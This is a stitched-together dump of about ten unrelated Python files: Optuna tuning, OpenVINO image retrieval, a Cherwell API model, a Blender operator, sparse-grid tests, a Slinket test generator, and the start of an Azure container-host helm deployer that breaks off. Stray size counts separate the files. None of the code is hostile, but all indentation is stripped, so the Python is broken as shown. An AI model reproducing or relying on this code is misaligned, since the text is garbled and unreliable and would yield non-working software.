# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
from tensorflow.keras.backend import clear_session
from tensorflow.keras.models import clone_model
import tensorflow as tf
import inspect
import copy
from optuna.integration import TFKerasPruningCallback
def is_creator(model):
return inspect.ismethod(model) or inspect.isfunction(model)
class Objective(object):
"""The Tuning objective for Optuna"""
def __init__(self,
model=None,
target_metric=None,
pruning=False,
**kwargs,
):
"""Init the objective.
Args:
model (keras model or function): a model instance or creator function. Defaults to None.
model_compiler (function, optional): the compiler function. Defaults to None.
target_metric (str, optional): target metric to optimize. Defaults to None.
Raises:
ValueError: _description_
"""
if not is_creator(model) and not isinstance(model, tf.keras.Model):
raise ValueError("You should either pass a Tensorflo Keras model, or \
a model_creator to the Tuning objective.")
self.model_ = model
self.target_metric_ = target_metric
self.pruning = pruning
self.kwargs = kwargs
@property
def target_metric(self):
return self.target_metric_
def prepare_fit_args(self, trial):
# only do shallow copy and process/duplicate
# specific args TODO: may need to handle more cases
new_kwargs = copy.copy(self.kwargs)
new_kwargs['verbose'] = 2
callbacks = new_kwargs.get('callbacks', None)
callbacks = callbacks() if inspect.isfunction(callbacks) else callbacks
if self.pruning:
callbacks = callbacks or []
prune_callback = TFKerasPruningCallback(trial, self.target_metric)
callbacks.append(prune_callback)
new_kwargs['callbacks'] = callbacks
return new_kwargs
def __call__(self, trial):
# Clear clutter from previous Keras session graphs.
clear_session()
# TODO may add data creator here, e.g. refresh data, reset generators, etc.
# create model
if is_creator(self.model_):
model = self.model_(trial)
else:
# copy model so that the original model is not changed
# Need tests to check this path
model = clone_model(self.model_)
# fit
new_kwargs = self.prepare_fit_args(trial)
hist = model.fit(**new_kwargs)
score = hist.history.get(self.target_metric, None)
if score is not None:
if isinstance(score, list):
# score = score[-1]
score = max(score)
return score
| 3,379 | 922 |
"""
Copyright (c) 2019 Intel Corporation
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from tqdm import tqdm
import numpy as np
import cv2
from sklearn.metrics.pairwise import cosine_distances
from image_retrieval.common import from_list, preproces_image
def nothing(image):
return image
class ImageRetrieval:
def __init__(self, model_path, model_backend, model, gallery_path, input_size, cpu_extensions,
multiple_images_per_label=False):
self.impaths, self.gallery_classes, _, self.text_label_to_class_id = from_list(
gallery_path, multiple_images_per_label)
self.input_size = input_size
self.preprocess = preproces_image
if model is None or isinstance(model, str):
if model_backend == 'tf':
import tensorflow as tf
from image_retrieval.model import keras_applications_mobilenetv2, \
keras_applications_resnet50
if model == 'resnet50':
self.model = keras_applications_resnet50(
tf.keras.layers.Input(shape=(input_size, input_size, 3)))
if model == 'mobilenet_v2':
self.model = keras_applications_mobilenetv2(
tf.keras.layers.Input(shape=(input_size, input_size, 3)))
self.model.load_weights(model_path)
else:
from openvino.inference_engine import IENetwork, IECore
class IEModel():
def __init__(self, model_path):
ie = IECore()
if cpu_extensions:
ie.add_extension(cpu_extensions, 'CPU')
path = '.'.join(model_path.split('.')[:-1])
self.net = IENetwork(model=path + '.xml', weights=path + '.bin')
self.exec_net = ie.load_network(network=self.net, device_name='CPU')
def predict(self, image):
assert len(image.shape) == 4
image = np.transpose(image, (0, 3, 1, 2))
out = self.exec_net.infer(inputs={'Placeholder': image})[
'model/tf_op_layer_mul/mul/Normalize']
return out
self.model = IEModel(model_path)
self.preprocess = nothing
else:
self.model = model
self.embeddings = self.compute_gallery_embeddings()
def compute_embedding(self, image):
image = cv2.resize(image, (self.input_size, self.input_size))
image = self.preprocess(image)
image = np.expand_dims(image, axis=0)
embedding = self.model.predict(image)
return embedding
def search_in_gallery(self, embedding):
distances = cosine_distances(embedding, self.embeddings).reshape([-1])
sorted_indexes = np.argsort(distances)
return sorted_indexes, distances
def compute_gallery_embeddings(self):
images = []
for full_path in tqdm(self.impaths, desc='Reading gallery images.'):
image = cv2.imread(full_path)
if image is None:
print("ERROR: cannot find image, full_path =", full_path)
image = cv2.resize(image, (self.input_size, self.input_size))
image = self.preprocess(image)
image = np.expand_dims(image, axis=0)
images.append(image)
embeddings = [None for _ in self.impaths]
index = 0
for image in tqdm(images, desc='Computing embeddings of gallery images.'):
embeddings[index] = self.model.predict(image).reshape([-1])
index += 1
return embeddings
| 4,247 | 1,224 |
# coding: utf-8
"""
Cherwell REST API
Unofficial Python Cherwell REST API library. # noqa: E501
The version of the OpenAPI document: 9.3.2
Contact: See AUTHORS.
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import six
from pycherwell.configuration import Configuration
class SectionField(object):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
openapi_types = {
'attributes': 'list[object]',
'field_id': 'str',
'field_type': 'str',
'label': 'str',
'multiline': 'bool',
'value': 'str'
}
attribute_map = {
'attributes': 'attributes',
'field_id': 'fieldId',
'field_type': 'fieldType',
'label': 'label',
'multiline': 'multiline',
'value': 'value'
}
def __init__(self, attributes=None, field_id=None, field_type=None, label=None, multiline=None, value=None, local_vars_configuration=None): # noqa: E501
"""SectionField - a model defined in OpenAPI""" # noqa: E501
if local_vars_configuration is None:
local_vars_configuration = Configuration()
self.local_vars_configuration = local_vars_configuration
self._attributes = None
self._field_id = None
self._field_type = None
self._label = None
self._multiline = None
self._value = None
self.discriminator = None
if attributes is not None:
self.attributes = attributes
if field_id is not None:
self.field_id = field_id
if field_type is not None:
self.field_type = field_type
if label is not None:
self.label = label
if multiline is not None:
self.multiline = multiline
if value is not None:
self.value = value
@property
def attributes(self):
"""Gets the attributes of this SectionField. # noqa: E501
:return: The attributes of this SectionField. # noqa: E501
:rtype: list[object]
"""
return self._attributes
@attributes.setter
def attributes(self, attributes):
"""Sets the attributes of this SectionField.
:param attributes: The attributes of this SectionField. # noqa: E501
:type: list[object]
"""
self._attributes = attributes
@property
def field_id(self):
"""Gets the field_id of this SectionField. # noqa: E501
:return: The field_id of this SectionField. # noqa: E501
:rtype: str
"""
return self._field_id
@field_id.setter
def field_id(self, field_id):
"""Sets the field_id of this SectionField.
:param field_id: The field_id of this SectionField. # noqa: E501
:type: str
"""
self._field_id = field_id
@property
def field_type(self):
"""Gets the field_type of this SectionField. # noqa: E501
:return: The field_type of this SectionField. # noqa: E501
:rtype: str
"""
return self._field_type
@field_type.setter
def field_type(self, field_type):
"""Sets the field_type of this SectionField.
:param field_type: The field_type of this SectionField. # noqa: E501
:type: str
"""
self._field_type = field_type
@property
def label(self):
"""Gets the label of this SectionField. # noqa: E501
:return: The label of this SectionField. # noqa: E501
:rtype: str
"""
return self._label
@label.setter
def label(self, label):
"""Sets the label of this SectionField.
:param label: The label of this SectionField. # noqa: E501
:type: str
"""
self._label = label
@property
def multiline(self):
"""Gets the multiline of this SectionField. # noqa: E501
:return: The multiline of this SectionField. # noqa: E501
:rtype: bool
"""
return self._multiline
@multiline.setter
def multiline(self, multiline):
"""Sets the multiline of this SectionField.
:param multiline: The multiline of this SectionField. # noqa: E501
:type: bool
"""
self._multiline = multiline
@property
def value(self):
"""Gets the value of this SectionField. # noqa: E501
:return: The value of this SectionField. # noqa: E501
:rtype: str
"""
return self._value
@value.setter
def value(self, value):
"""Sets the value of this SectionField.
:param value: The value of this SectionField. # noqa: E501
:type: str
"""
self._value = value
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.openapi_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, SectionField):
return False
return self.to_dict() == other.to_dict()
def __ne__(self, other):
"""Returns true if both objects are not equal"""
if not isinstance(other, SectionField):
return True
return self.to_dict() != other.to_dict()
| 6,598 | 1,991 |
# ##### BEGIN GPL LICENSE BLOCK #####
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software Foundation,
# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# ##### END GPL LICENSE BLOCK #####
# <pep8 compliant>
import bpy
import os
from bpy.types import Operator
from bpy.props import BoolProperty
def ObjectDistributeOscurart(self, X, Y, Z):
if len(bpy.selection_osc[:]) > 1:
# VARIABLES
dif = bpy.selection_osc[-1].location - bpy.selection_osc[0].location
chunkglobal = dif / (len(bpy.selection_osc[:]) - 1)
chunkx = 0
chunky = 0
chunkz = 0
deltafst = bpy.selection_osc[0].location
# ORDENA
for OBJECT in bpy.selection_osc[:]:
if X:
OBJECT.location.x = deltafst[0] + chunkx
if Y:
OBJECT.location[1] = deltafst[1] + chunky
if Z:
OBJECT.location.z = deltafst[2] + chunkz
chunkx += chunkglobal[0]
chunky += chunkglobal[1]
chunkz += chunkglobal[2]
else:
self.report({'INFO'}, "Needs at least two selected objects")
class DistributeOsc(Operator):
"""Distribute evenly the selected objects in x y z"""
bl_idname = "object.distribute_osc"
bl_label = "Distribute Objects"
Boolx : BoolProperty(name="X")
Booly : BoolProperty(name="Y")
Boolz : BoolProperty(name="Z")
def execute(self, context):
ObjectDistributeOscurart(self, self.Boolx, self.Booly, self.Boolz)
return {'FINISHED'}
def invoke(self, context, event):
self.Boolx = True
self.Booly = True
self.Boolz = True
return context.window_manager.invoke_props_dialog(self)
| 2,319 | 753 |
#!/usr/bin/python3
import functools
import multiprocessing
import random
import unittest
import numpy as np
import scipy.special
import helper.basis
import helper.grid
import tests.misc
class Test45SpatAdaptiveUP(tests.misc.CustomTestCase):
@staticmethod
def createDataHermiteHierarchization(p):
n, d, b = 4, 1, 0
bases = [helper.basis.HierarchicalWeaklyFundamentalSpline(p, nu=nu)
for nu in range((p+1)//2)]
grid = helper.grid.RegularSparseBoundary(n, d, b)
X, L, I = grid.generate()
X, L, I = X.flatten(), L.flatten(), I.flatten()
K = np.column_stack((L, I))
f = (lambda X: 0.3 + np.sin(2.3*np.pi*(X-0.2)))
fX = f(X)
return bases, n, X, L, I, K, fX
def hermiteHierarchizationCallback(self, fl, y, l, K, bases):
p = bases[0].p
nodalIl = helper.grid.getNodalIndices(l)
Kl = np.array([self.findLevelIndex(K, l, i) for i in nodalIl])
Xl = helper.grid.getCoordinates(l, nodalIl)
for q in range((p+1)//2):
Yl = np.zeros_like(Xl)
for lp in range(l+1):
hierIlp = helper.grid.getHierarchicalIndices(lp)
for ip in hierIlp:
Yl += (y[self.findLevelIndex(K, lp, ip)] *
bases[q].evaluate(lp, ip, Xl))
self.assertAlmostEqual(Yl, fl[l][Kl,q])
@staticmethod
def findLevelIndex(K, l, i):
lp, ip = helper.grid.convertNodalToHierarchical(l, i)
return (np.where((K == (lp, ip)).all(axis=1))[0][0])
@staticmethod
def dividedDifference(data):
# data in the form
# [(a, f(a), df(a), ...), (b, f(b), df(b), ...), ...]
if len(data) == 1:
return data[0][-1] / scipy.special.factorial(len(data[0]) - 2)
else:
dataLeft = list(data)
if len(dataLeft[-1]) > 2: dataLeft[-1] = dataLeft[-1][:-1]
else: del dataLeft[-1]
dataRight = list(data)
if len(dataRight[0]) > 2: dataRight[0] = dataRight[0][:-1]
else: del dataRight[0]
return ((Test45SpatAdaptiveUP.dividedDifference(dataRight) -
Test45SpatAdaptiveUP.dividedDifference(dataLeft)) /
(data[-1][0] - data[0][0]))
@staticmethod
def hermiteInterpolation1D(xx, data, nu=0):
# data in the form
# [(a, f(a), df(a), ...), (b, f(b), df(b), ...), ...]
yy = np.zeros((len(xx), nu+1))
xProduct = [1] + (nu * [0])
curXData = []
curData = []
for dataPoint in data:
x = dataPoint[0]
curData.append([x])
for k in range(1, len(dataPoint)):
curData[-1].append(dataPoint[k])
coeff = Test45SpatAdaptiveUP.dividedDifference(curData)
for q in range(nu, -1, -1):
yy[:,q] += coeff * xProduct[q]
xProduct[q] = (xProduct[q] * (xx - x) +
q * (xProduct[q-1] if q > 0 else 0))
return yy
@staticmethod
def hermiteHierarchization1D(u, n, K, bases, testCallback=None):
N = u.shape[0]
p = bases[0].p
y = np.zeros((N,))
fl = np.zeros((n+1, N, (p+1)//2))
k0 = Test45SpatAdaptiveUP.findLevelIndex(K, 0, 0)
k1 = Test45SpatAdaptiveUP.findLevelIndex(K, 0, 1)
for i in range(2):
k = (k0 if i == 0 else k1)
y[k] = u[k]
fl[0][k][0] = u[k]
if p > 1: fl[0][k][1] = (u[k1] - u[k0])
for l in range(1, n+1):
nodalIl = helper.grid.getNodalIndices(l)
Kl = np.array([Test45SpatAdaptiveUP.findLevelIndex(K, l, i)
for i in nodalIl])
Xl = helper.grid.getCoordinates(l, nodalIl)
hierIl = np.array(helper.grid.getHierarchicalIndices(l))
flm1 = np.zeros((len(nodalIl), (p+1)//2))
evenIl = [i for i in nodalIl if i not in hierIl]
flm1[evenIl] = fl[l-1][Kl[evenIl]]
for i in hierIl:
data = [np.hstack((Xl[i-1], flm1[i-1])),
np.hstack((Xl[i+1], flm1[i+1]))]
flm1[i] = Test45SpatAdaptiveUP.hermiteInterpolation1D(
[Xl[i]], data, nu=(p-1)//2)
rl = np.zeros_like(nodalIl, dtype=float)
rl[hierIl] = u[Kl[hierIl]] - flm1[hierIl][:,0]
A = np.zeros((len(hierIl), len(hierIl)))
for i in hierIl: A[:,(i-1)//2] = bases[0].evaluate(l, i, Xl[hierIl])
b = rl[hierIl]
yl = np.linalg.solve(A, b)
y[Kl[hierIl]] = yl
for q in range((p+1)//2):
rl = np.zeros_like(nodalIl, dtype=float)
for i in hierIl: rl += y[Kl[i]] * bases[q].evaluate(l, i, Xl)
for i in nodalIl: fl[l][Kl[i]][q] = flm1[i][q] + rl[i]
if testCallback is not None: testCallback(fl, y, l, K, bases)
return y
@staticmethod
def iterativeRefinement(u, y0, Linv, Lp):
r = u - Linv(y0)
y = np.array(y0)
for m in range(1000):
if np.max(np.abs(r)) < 1e-10: break
y += Lp(r)
r -= Linv(Lp(r))
return y, r
@staticmethod
def getChain(l1, i1, l2, i2, T):
chain = [(np.array(l1), np.array(i1))]
for t in T:
lNext, iNext = chain[-1]
lNext, iNext = np.array(lNext), np.array(iNext)
lNext[t], iNext[t] = l2[t], i2[t]
chain.append((lNext, iNext))
if np.all(chain[-1][0] == l2) and np.all(chain[-1][1] == i2):
return chain
else:
return None
def testLemmaIterativeRefinementEquivalent(self):
# tested in testPropIterativeRefinementSufficient
pass
def testPropIterativeRefinementSufficient(self):
tol = {"rtol" : 1e-3, "atol" : 1e-8}
for p in [1, 3, 5, 7]:
basisLin1D = helper.basis.HierarchicalBSpline(1)
basis1D = helper.basis.HierarchicalBSpline(p)
for d in range(1, 5):
f = tests.misc.getObjectiveFunction(d)
basisLin = (helper.basis.TensorProduct(basisLin1D, d) if d > 1 else
basisLin1D)
basis = (helper.basis.TensorProduct(basis1D, d) if d > 1 else
basis1D)
with self.subTest(p=p, d=d):
X, L, I = tests.misc.generateSpatiallyAdaptiveSparseGrid(
d, 500)
fX = f(X)
A = tests.misc.computeInterpolationMatrix(basis, X, L, I)
aX = np.linalg.solve(A, fX)
ALin = tests.misc.computeInterpolationMatrix(basisLin, X, L, I)
ALinInv = np.linalg.inv(ALin)
Linv = (lambda x: np.dot(A, x))
Lp = (lambda x: np.dot(ALinInv, x))
u = fX
y0 = 2 * np.random.random((X.shape[0],)) - 1
y, r = self.iterativeRefinement(u, y0, Linv, Lp)
if np.max(np.abs(r)) < 1e-10:
self.assertAlmostEqual(y, aX, **tol)
else:
self.assertNotAlmostEqual(y, aX, **tol)
N = X.shape[0]
m = 100
power = np.linalg.matrix_power(np.eye(N) - np.dot(A, ALinInv), m)
powerNormRoot = np.power(np.linalg.norm(power), 1/m)
if powerNormRoot < 1:
self.assertAlmostEqual(y, aX, **tol)
def testLemmaDualityUnidirectionalPrinciple(self):
n, b = 4, 0
hierarchical = True
bases = tests.misc.getExampleHierarchicalBases()
for basisName, d, basis in bases:
f = tests.misc.getObjectiveFunction(d)
modified = ("Modified" in basisName)
if "ClenshawCurtis" in basisName: distribution = "clenshawCurtis"
else: distribution = "uniform"
with self.subTest(basis=basisName, d=d):
#X, L, I = tests.misc.generateSpatiallyAdaptiveSparseGrid(
# d, 500)
grid = (helper.grid.RegularSparse(n, d) if modified else
helper.grid.RegularSparseBoundary(n, d, b))
X, L, I = grid.generate()
if distribution != "uniform":
X = helper.grid.getCoordinates(L, I, distribution=distribution)
fX = f(X)
u = np.array(fX)
K = tests.misc.convertToContinuous(L, I)
T = np.arange(d)
np.random.shuffle(T)
L1D = functools.partial(tests.misc.hierarchize1D,
basis, distribution, hierarchical)
bases1D = (basis.basis1D if d > 1 else [basis])
y = tests.misc.unidirectionalPrinciple(u, K, T, L1D)
TRev = T[::-1]
LInv1D = functools.partial(tests.misc.hierarchize1D,
basis, distribution, hierarchical,
mode="dehierarchize")
u2 = tests.misc.unidirectionalPrinciple(y, K, TRev, LInv1D)
if d == 1: X, L, I = X.flatten(), L.flatten(), I.flatten()
A = tests.misc.computeInterpolationMatrix(basis, X, L, I)
aX = np.linalg.solve(A, fX)
fX2 = np.dot(A, y)
try:
self.assertAlmostEqual(y, aX, atol=1e-10)
upCorrect = True
except AssertionError:
upCorrect = False
try:
self.assertAlmostEqual(u2, fX2, atol=1e-10)
upInvCorrect = True
except AssertionError:
upInvCorrect = False
if upCorrect: self.assertTrue(upInvCorrect)
else: self.assertFalse(upInvCorrect)
N = X.shape[0]
LI = np.column_stack((L, I))
containsAllChains = True
if d == 1:
X = np.reshape(X, (N,1))
L = np.reshape(L, (N,1))
I = np.reshape(I, (N,1))
for k1 in range(N):
if not containsAllChains: break
for k2 in range(N):
if not containsAllChains: break
if np.abs(A[k2,k1]) > 1e-12:
chain = self.getChain(L[k1], I[k1], L[k2], I[k2], TRev)
for l, i in chain:
li = np.hstack((l, i))
if not np.any(np.all(LI == li, axis=1)):
containsAllChains = False
break
if upCorrect: self.assertTrue(containsAllChains)
else: self.assertFalse(containsAllChains)
@staticmethod
def calculateA1D(getL1D, data):
t, KPole = data
K1D = np.array([k[t] for k in KPole])
A1D = getL1D(t, K1D)
return A1D
def testLemmaChainExistenceSufficient(self):
p = 3
hierarchical = True
basis1D = helper.basis.HierarchicalBSpline(p)
for d in range(1, 5):
basisName = "{}({})".format(type(basis1D).__name__, p)
modified = ("Modified" in basisName)
if "ClenshawCurtis" in basisName: distribution = "clenshawCurtis"
else: distribution = "uniform"
basis = (helper.basis.TensorProduct(basis1D, d) if d > 1 else
basis1D)
with self.subTest(d=d):
X, L, I = tests.misc.generateSpatiallyAdaptiveSparseGrid(
d, 200)
#grid = (helper.grid.RegularSparse(n, d) if modified else
# helper.grid.RegularSparseBoundary(n, d, b))
#X, L, I = grid.generate()
if distribution != "uniform":
X = helper.grid.getCoordinates(L, I, distribution=distribution)
K = tests.misc.convertToContinuous(L, I)
T = np.arange(d)
np.random.shuffle(T)
getL1D = functools.partial(tests.misc.hierarchize1D,
basis, distribution, hierarchical, None, mode="matrix")
N = X.shape[0]
As = [np.eye(N)]
KTuples = [tuple(k) for k in K]
allKPoles = []
for t in T:
isOnSamePole = functools.partial(tests.misc.isOnSamePole,
t, d)
KPoles = helper.misc.getEquivalenceClasses(KTuples, isOnSamePole)
allKPoles.extend([(t, tuple(sorted(KPole))) for KPole in KPoles])
with multiprocessing.Pool() as pool:
A1Ds = pool.map(functools.partial(self.calculateA1D, getL1D),
allKPoles)
A1Ds = dict(zip(allKPoles, A1Ds))
for t in T:
isOnSamePole = functools.partial(tests.misc.isOnSamePole,
t, d)
KPoles = helper.misc.getEquivalenceClasses(K, isOnSamePole)
At = np.zeros((N, N))
for KPole in KPoles:
KPoleTuple = tuple(sorted([tuple(k.tolist()) for k in KPole]))
A1D = A1Ds[(t, KPoleTuple)]
N1D = A1D.shape[0]
Q = [np.where(np.all(K == k, axis=1))[0][0] for k in KPole]
for r1 in range(N1D):
for r2 in range(N1D):
At[Q[r2],Q[r1]] = A1D[r2,r1]
As.append(np.dot(At, As[-1]))
LI = np.column_stack((L, I))
for j in range(d+1):
for k1 in range(N):
for k2 in range(N):
chain = self.getChain(L[k1,:], I[k1,:],
L[k2,:], I[k2,:], T[:j])
if chain is not None:
chain = tests.misc.convertToContinuous(
np.array([x[0] for x in chain]),
np.array([x[1] for x in chain]))
containsChain = all([np.any(np.all(K == k, axis=1))
for k in chain])
else:
containsChain = False
if np.abs(As[j][k2,k1]) > 1e-10:
self.assertTrue(containsChain)
if containsChain:
rhs = 1
for t, kj in zip(T[:j], chain[1:]):
isOnSamePole = functools.partial(tests.misc.isOnSamePole,
t, d)
KPole = [k for k in K if isOnSamePole(k, kj)]
KPoleTuple = tuple(sorted([tuple(k.tolist())
for k in KPole]))
A1D = A1Ds[(t, KPoleTuple)]
K1D = np.array([k[t] for k in KPole])
r1 = np.where(K1D == K[k1,t])[0][0]
r2 = np.where(K1D == K[k2,t])[0][0]
rhs *= A1D[r2,r1]
lhs = As[j][k2,k1]
self.assertAlmostEqual(lhs, rhs)
def testLemmaChainExistenceNecessary(self):
# tested in testLemmaChainExistenceSufficient
pass
def testPropCorrectnessUPCharacterization(self):
# tested in testLemmaDualityUnidirectionalPrinciple
pass
def testCorEquivalentCorrectnessUPHierarchization(self):
# tested in testLemmaDualityUnidirectionalPrinciple
pass
def testLemmaHermiteInterpolation(self):
a = random.uniform(0, 3)
b = a + random.uniform(2, 4)
for p in [1, 3, 5, 7]:
data = [[a] + [random.gauss(0, 2) for x in range((p+1)//2)],
[b] + [random.gauss(0, 2) for x in range((p+1)//2)]]
for nu in range((p+1)//2):
y = self.hermiteInterpolation1D(np.array([a, b]), data, nu=nu)
y2 = np.row_stack((data[0][1:nu+2], data[1][1:nu+2]))
self.assertAlmostEqual(y, y2)
def testPropInvariantHermiteHierarchization(self):
for p in [1, 3, 5, 7]:
bases, n, X, L, I, K, fX = self.createDataHermiteHierarchization(p)
callback = self.hermiteHierarchizationCallback
self.hermiteHierarchization1D(fX, n, K, bases, testCallback=callback)
def testCorAlgHermiteHierarchizationCorrectness(self):
for p in [1, 3, 5, 7]:
bases, n, X, L, I, K, fX = self.createDataHermiteHierarchization(p)
aX = self.hermiteHierarchization1D(fX, n, K, bases)
Y = np.zeros_like(X)
for k in range(X.shape[0]): Y += aX[k] * bases[0].evaluate(L[k], I[k], X)
self.assertAlmostEqual(Y, fX)
if __name__ == "__main__":
unittest.main()
| 15,782 | 6,003 |
'''
For a flawless upload of many files to all the desired items the following
variables have to be set:
upload_list which is a list of 2-element lists
e2 the 2-element list containing 1. the item id and 2. the folder
from which all files will be upload to the item on TUdatalib
Replace <directory_path> with the WHOLE path to the folder you want to
upload files from.
Note that you have to give path to a folder, not a file and that EVERYTHING
from that folder will be upload to the item!!!!
'''
upload_list = None #python list of list of strings
'''
Please stick to this format (number of elements variable):
upload_list = [
["<item_id>","<directory_path>"],
["<item_id>","<directory_path>"]
]
'''
| 776 | 216 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import subprocess, os, sys, optparse
fullpath = os.path.join(os.getcwd(), os.path.dirname(sys.argv[0]))
capath = os.path.abspath(
os.path.join(fullpath, "..", "..", "qooxdoo", "qooxdoo", "tool", "bin", "create-application.py")
)
skeletonpath = os.path.abspath(
os.path.join(fullpath, "..", "application", "skeleton")
)
subprocess.call(["python", capath, "-p", skeletonpath, "-t", "unify"] + sys.argv[1:])
| 462 | 192 |
__author__ = """Marcelo Miranda"""
__email__ = 'mesmacosta@gmail.com'
__version__ = '1.1.1'
| 92 | 40 |
"""create_slinket_cases.py
Code to create Slinket unit test cases. Runs by taking all SLINKs from a
Timebank parse and put them in files, one for each SLINK relType, as potential
test cases. Files are named slink-cases-RELTYPE.txt, where RELTYPE stands for
one of the relation types.
The output files have lines like
('MODAL', 'ABC19980120.1830.0957.xml', 'toClause3', (13,20), (34,38),
"Fidel Castro invited John Paul to come for a reason.")
which can be inserted directly as unit tests in SlinketTest.
Running this script will actually report a lot of errors and warnings, but
useful output is created and fixing the errors is low priority.
"""
import os, sys, codecs
from xml.dom.minidom import parse, parseString
TIMEBANK_DIR = '../data/out/timebank'
TTK_FILE = '../out-slinket.xml'
SLINK_CASES = {}
def parse_directory(dname):
#for (counter, fname) in os.listdir(dname):
for fname in os.listdir(dname):
# if counter > 10: break
sys.stderr.write("%s\n" % fname)
try:
parse_file(os.path.join(dname, fname))
except:
sys.stderr.write("ERROR on %s\n" % fname)
def parse_file(fname):
dom = parse(fname)
text = dom.getElementsByTagName('text')[0]
source_tags = dom.getElementsByTagName('source_tags')[0]
try:
tarsqi_tags = dom.getElementsByTagName('tarsqi_tags')[0]
except IndexError:
# some older parsed files still have ttk_tags, allow for that
tarsqi_tags = dom.getElementsByTagName('ttk_tags')[0]
sentences = tarsqi_tags.getElementsByTagName('s')
events = tarsqi_tags.getElementsByTagName('EVENT')
slinks = tarsqi_tags.getElementsByTagName('SLINK')
source_text = text.firstChild.data
parse_slinks(os.path.basename(fname), slinks, events, sentences, source_text)
def parse_slinks(fname, slinks, events, sentences, source_text):
event_dict = {}
for event in events:
eiid = event.getAttribute('eiid')
event_dict[eiid] = event
for slink in slinks:
parse_slink(fname, slink, event_dict, sentences, source_text)
for reltype in SLINK_CASES.keys():
fh = codecs.open("slink-cases-%s.txt" % reltype, 'w')
for case in SLINK_CASES[reltype]:
fh.write(case)
def parse_slink(fname, slink, event_dict, sentences, source_text):
rel = slink.getAttribute('relType')
rule = slink.getAttribute('syntax')
e1 = slink.getAttribute('eventInstanceID')
e2 = slink.getAttribute('subordinatedEventInstance')
e1p1 = int(event_dict[e1].getAttribute('begin'))
e1p2 = int(event_dict[e1].getAttribute('end'))
e2p1 = int(event_dict[e2].getAttribute('begin'))
e2p2 = int(event_dict[e2].getAttribute('end'))
event_text1 = source_text[e1p1:e1p2]
event_text2 = source_text[e2p1:e2p2]
enclosing_sentence = None
for s in sentences:
if int(s.getAttribute('begin')) <= e1p1 and int(s.getAttribute('end')) >= e1p1:
enclosing_sentence = s
s_p1 = int(enclosing_sentence.getAttribute('begin'))
s_p2 = int(enclosing_sentence.getAttribute('end'))
sentence_text = source_text[s_p1:s_p2]
sentence_text = ' '.join(sentence_text.split())
(e1p1, e1p2) = get_local_offset(sentence_text, event_text1)
(e2p1, e2p2) = get_local_offset(sentence_text, event_text2)
if e1p1 < 0:
sys.stderr.write("WARNING: did not find '%s' in '%s'\n" % (event_text1, sentence_text))
elif e2p1 < 0:
sys.stderr.write("WARNING: did not find '%s' in '%s'\n" % (event_text2, sentence_text))
else:
case = "('%s', '%s', '%s', (%s,%s), (%s,%s),\n \"%s\")\n" \
% (rel, fname, rule, e1p1, e1p2, e2p1, e2p2, sentence_text)
SLINK_CASES.setdefault(rel,[]).append(case)
def get_local_offset(sentence, text):
idx1 = sentence.find(text)
idx2 = idx1 + len(text)
return (idx1, idx2)
if __name__ == '__main__':
#parse_file(TTK_FILE)
parse_directory(TIMEBANK_DIR)
| 3,957 | 1,440 |
# Copyright 2019 Microsoft Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import logging
import os
import re
import tempfile
import click
import yaml
from c7n.resources import load_resources
from c7n.utils import local_session
from c7n_azure.constants import ENV_CONTAINER_EVENT_QUEUE_NAME, ENV_SUB_ID
from c7n_azure.session import Session
logger = logging.getLogger("c7n_azure.container-host.deploy")
MANAGEMENT_GROUP_TYPE = '/providers/Microsoft.Management/managementGroups'
SUBSCRIPTION_TYPE = '/subscriptions'
class Deployment(object):
def __init__(self, ctx, default_environment=None):
logging.basicConfig(level=logging.INFO, format='%(message)s')
self.dry_run = ctx.parent.params.get('dry_run')
self.deployment_name = ctx.parent.params.get('deployment_name')
self.deployment_namespace = ctx.parent.params.get('deployment_namespace')
self.image_repository = ctx.parent.params.get('image_repository')
self.image_tag = ctx.parent.params.get('image_tag')
self.image_pull_policy = ctx.parent.params.get('image_pull_policy')
self.default_environment = default_environment
self.subscription_hosts = []
def run(self):
values = self.build_values_dict()
values_file_path = Deployment.write_values_to_file(values)
logger.info("Created values file at {}\n".format(values_file_path))
values_yaml = yaml.dump(values)
logger.info(values_yaml)
# Currently deploy the helm chart through a system command, this assumes helm is installed
# and configured with the target cluster.
logger.info("Deploying with helm")
helm_command = Deployment.build_helm_command(
self.deployment_name, values_file_path, namespace=self.deployment_namespace,
